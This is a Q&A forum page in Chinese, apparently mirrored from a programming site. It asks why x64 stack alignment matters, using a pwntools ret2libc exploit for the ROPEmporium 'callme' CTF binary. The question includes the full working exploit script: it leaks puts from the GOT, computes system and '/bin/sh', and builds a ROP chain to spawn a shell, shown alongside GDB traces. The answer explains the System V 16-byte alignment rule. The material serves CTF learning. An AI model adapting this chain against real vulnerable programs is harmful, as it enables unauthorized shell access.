x64 中的堆栈对齐不是 16 字节?

问题描述 投票:0回答:1

我尝试了这段代码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

elf = context.binary = ELF(args.EXE or 'callme')
libc = elf.libc
rop = ROP([elf, libc])
pop_rdi = p64(0x00000000004009a3)
ret = p64(0x00000000004006be)

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([elf.path] + argv, *a, **kw)

gdbscript = '''
break *pwnme+89
continue
'''.format(**locals())

offset = b'A' * 40

'''
1. print a leak to the address in libc in puts()'s GOT
2. grab that leak, calculate system and '/bin/sh'
3. call it. GG
'''

rop.raw(offset)
rop.call('puts', [elf.got['puts']])
rop.call('main')



io = start()
io.sendafter(b'> ', rop.chain())

# grab our leak
io.recvuntil(b'!\n')
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
print(f"[*] Got a leak: {hex(leak)}")

libc_base = leak - libc.sym['puts']
print(f'[**] libc_base = {hex(libc_base)}')
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
print(f'[**] system addr = {hex(system)};   bin_sh = {hex(bin_sh)}')

payload = [
    offset,
    ret,  # align the stack pointer 
    pop_rdi,
    p64(bin_sh),
    p64(system)
]

io.sendafter(b'> ', b''.join(payload))

io.interactive()

当我运行代码并附加到

GDB
时,有效负载是与对齐(附加的
ret
指令):

payload = [
    offset,
    ret,   # align the stack pointer 
    pop_rdi,
    p64(bin_sh),
    p64(system)
]

我在输入

RSP
时看到system
不是16字节对齐
RSP
= 0x7fff699d1c18)

*RSP  0x7fff699d1c18 —▸ 0x7fff699d1d08 —▸ 0x7fff699d3276 ◂— '/mnt/c/Users/tal/Workspace/CTFs/ROPEmporium/callme/callme'
*RIP  0x7f768b627d70 (system) ◂— endbr64
─────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────
   0x4008f1       <pwnme+89>               ret
    ↓
   0x4006be       <_init+22>               ret
    ↓
   0x4009a3       <__libc_csu_init+99>     pop    rdi
   0x4009a4       <__libc_csu_init+100>    ret
    ↓
 ► 0x7f768b627d70 <system>                 endbr64
   0x7f768b627d74 <system+4>               test   rdi, rdi
   0x7f768b627d77 <system+7>               je     7f768b627d80h                 <system+16>

   0x7f768b627d79 <system+9>               jmp    7f768b627900h                 <do_system>
    ↓
   0x7f768b627900 <do_system>              push   r15
   0x7f768b627902 <do_system+2>            mov    edx, 1
   0x7f768b627907 <do_system+7>            push   r14

令我惊讶的是,这段代码可以按预期工作。

另一方面,如果我运行代码并附加到

GDB

,有效负载为
没有对齐(没有额外的ret
):

payload = [ offset, pop_rdi, p64(bin_sh), p64(system) ]
输入

RSP

时我看到
system是16字节对齐的
RSP
 = 0x7ffddaf2e9a0)

*RSP 0x7ffddaf2e9a0 ◂— 0x100000000 *RIP 0x7f9dc7c27d70 (system) ◂— endbr64 ─────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────── 0x4008f1 <pwnme+89> ret ↓ 0x4009a3 <__libc_csu_init+99> pop rdi 0x4009a4 <__libc_csu_init+100> ret ↓ ► 0x7f9dc7c27d70 <system> endbr64 0x7f9dc7c27d74 <system+4> test rdi, rdi 0x7f9dc7c27d77 <system+7> je 7f9dc7c27d80h <system+16> 0x7f9dc7c27d79 <system+9> jmp 7f9dc7c27900h <do_system> ↓ 0x7f9dc7c27900 <do_system> push r15 0x7f9dc7c27902 <do_system+2> mov edx, 1 0x7f9dc7c27907 <do_system+7> push r14 0x7f9dc7c27909 <do_system+9> lea r14, [rip + 1cbf30h]
这个代码

不起作用,稍后它会崩溃do_system

(见下文)。

Program received signal SIGSEGV, Segmentation fault. 0x00007f9dc7c27973 in __sigemptyset (set=<optimized out>) at ../sysdeps/unix/sysv/linux/sigsetops.h:54 54 in ../sysdeps/unix/sysv/linux/sigsetops.h RSP 0x7ffddaf2e5e8 ◂— 0x0 RIP 0x7f9dc7c27973 (do_system+115) ◂— movaps xmmword ptr [rsp], xmm1 ─────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────── 0x7f9dc7c27946 <do_system+70> xor eax, eax 0x7f9dc7c27948 <do_system+72> mov dword ptr [rsp + 18h], 0ffffffffh 0x7f9dc7c27950 <do_system+80> mov qword ptr [rsp + 180h], 1 0x7f9dc7c2795c <do_system+92> mov dword ptr [rsp + 208h], 0 0x7f9dc7c27967 <do_system+103> mov qword ptr [rsp + 188h], 0 ► 0x7f9dc7c27973 <do_system+115> movaps xmmword ptr [rsp], xmm1 0x7f9dc7c27977 <do_system+119> lock cmpxchg dword ptr [rip + 1cbe01h], edx 0x7f9dc7c2797f <do_system+127> jne 7f9dc7c27c30h <do_system+816> 0x7f9dc7c27985 <do_system+133> mov eax, dword ptr [rip + 1cbdf9h] 0x7f9dc7c2798b <do_system+139> lea edx, [rax + 1] 0x7f9dc7c2798e <do_system+142> mov dword ptr [rip + 1cbdf0h], edx
我确实看到 

RSP

 当出现段错误时等于 0x7ffddaf2e5e8。

这是否意味着

RSP

 
在调用函数时不一定与 16 字节对齐?

python assembly stack x86-64 ctf
1个回答
0
投票
这不仅仅是“不需要对齐” - 实际上堆栈必须在函数的开头和结尾处

对齐 - 并且必须错位精确8个字节。

16 字节并不是 x64 的自然对齐方式 - 大多数堆栈操作以 8 字节增量工作,因此它们自然地保持 8 字节对齐。然而,许多 SSE 指令需要 16 字节对齐 - 因此决定在调用约定中包含 16 字节对齐。

因为 16 字节不是自然对齐,所以进行压入和弹出操作不会保持该对齐。相反,它将在两种状态之间交替:

完全对齐(RSP=16n)和半对齐(RSP=16n+8)。

System V 调用约定规定: 堆栈必须在 call 之前 16 对齐。但是

call
会推送 8 个字节 - 所以它总是会在
call
之后半对齐:
输入参数区域的末尾应对齐在 16(32,如果 __m256 是
在堆栈上传递)字节边界。换句话说,
值 (%rsp + 8)

始终为 当控制权转移到函数入口点时为 16 (32) 的倍数。

类似地,ret

会弹出堆栈 - 因此堆栈必须在返回之前半对齐才能在返回后完全对齐。


© www.soinside.com 2019 - 2024. All rights reserved.